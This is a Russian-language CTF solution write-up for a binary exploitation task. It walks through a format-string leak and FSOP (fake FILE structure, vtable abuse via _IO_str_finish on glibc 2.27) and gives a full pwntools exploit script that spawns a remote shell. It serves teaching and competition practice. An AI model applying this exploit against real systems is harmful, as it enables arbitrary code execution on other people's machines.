# PWN-2
Оценка: 20
## Описание
В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с небезопасной работой с файлом.
[Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-2/abe66bce-6536-4a6f-a168-f0a009648f99_notebook.zip)
## Решение
Задание представляет собой имитацию записной книжки - мы имеем возможность записывать в нее, читать записанное, либо выйти. Нам видны сразу же две уязвимости.

Уязвимость форматной строки в функции вывода содержимого:
```c
void printNotebook() {
printf("Here's what you wrote.\n");
printf(data);
}
```
Вместо действительного вывода в файл программа переписывает указатель на файловую структуру с введенными пользователем данными:
```c
printf("I'm not really sure, how to write to a file, I guess that's the correct way...\n");
memcpy(¬ebook, data, 0x100);
fclose(notebook);
return 0;
}
```
План эксплуатации:
- получить базовые адреса бинарного файла и `libc` с помощью форматной строки;
- провести атаку на файловую структуру (данная техника носит название `FSOP`).
### FSOP
`FILE *` представляет собой указатель на структуру `_IO_FILE_plus`
```c
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
//....//
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
//...//
JUMP_FIELD(_IO_imbue_t, __imbue);
};
```
По сути своей это структура, полностью описывающая файловый поток, и таблица функций, она же `vtable`. `Vtable` - очень важная структура, так как содержит в себе указатели на функции, использующиеся "под капотом" многих других. Так, например, функция `fclose()` в своей реализации вызывает поле `__finish` `vtable`-а файловой структуры.
```c
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
//....//
_IO_FINISH (fp);
if (fp->_mode > 0)
//....//
}
```
Таким образом, если мы можем контролировать указатель на файловую структуру, мы в состоянии создать поддельную файловую структуру, поле `__finish` `vtable`-а которой указывает на интересующую для вызова функцию.
### BUT
К сожалению, мы не в состоянии сразу указать поле `__finish` на условный `one-gadget`, поскольку начиная с `glibc-2.27` была введена проверка того, что все указатели `vtable`-а структуры `_IO_FILE_plus` лежат в строго отведенной под это области `glibc`.
```c
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
К счастью для нас, в `glibc-2.27` в этой области, отведенной под `vtable`-ы, существует функция `_IO_str_finish`
```c
oid
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
```
Мы сразу же замечаем, что тут происходит преобразование нашей файловой структуры к типу `_IO_strfile`, а затем поле преобразованной структуры используется в качестве указателя на функцию, аргументом которй подается поле `_IO_buf_base`.
Итак, финальный план выглядит следующим образом:
- Создать файловую структуру, по оффсету `0xe8` (где должен находиться указатель на функцию), от которой мы положим адрес функции `system`;
- В поле `_IO_buf_base` нашей структуры мы положим указатель на строку `/bin/sh`;
- Переписать `_vtable` таким образом, чтобы в поле `__finish` лежал указатель на `_IO_str_finish`;
### Payload
```py
import pwn
from os import getenv
binary = pwn.ELF("./../chall/notebook", checksec=False)
ld = pwn.ELF("./../chall/ld-2.27.so", checksec=False)
libc = pwn.ELF("./../chall/libc-2.27.so", checksec=False)
LIBC_OFFSET = 0x3b07e3
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
def pad(payload, size):
return payload + b'\x00' * (size - len(payload))
def postThread(payload):
io.sendline(b'1')
io.sendlineafter(b'> ', payload)
io.recvuntil(b'> ')
def readThread():
io.sendline(b'2')
io.recvuntil(b'> ')
io.recvline()
return io.recvline(b'> ')
def Exit():
io.sendline(b'3')
io.interactive()
# send payload for leak
leakPayload = b'%p|' * 30
postThread(leakPayload)
# leak libc base
libc_leak = readThread().split(b'|')[0]
libc_leak = int(libc_leak.decode(), 16)
libc.address = libc_leak - LIBC_OFFSET
pwn.log.success(f"LIBC_BASE: {hex(libc.address)}")
print(hex(libc.symbols['_IO_str_jumps'] - libc.address))
print(hex(libc.symbols['system'] - libc.address))
print(hex(next(libc.search(b'/bin/sh')) - libc.address))
# craft fake _IO_FILE_plus structure
fakeFile = b''
fakeFile = pad(fakeFile, 0x38)
fakeFile += pwn.p64(next(libc.search(b'/bin/sh'))) # _IO_buf_base
fakeFile = pad(fakeFile, 0x88)
fakeFile += pwn.p64(0x404070) # _lock
fakeFile = pad(fakeFile, 0xd8)
fakeFile += pwn.p64(libc.symbols['_IO_str_jumps']) # _vtable
fakeFile = pad(fakeFile, 0xe8)
fakeFile += pwn.p64(libc.symbols['system'])
payload = pwn.p64(binary.symbols['notebook'] + 8)
payload += fakeFile
postThread(payload)
io.interactive()
#Exit()
```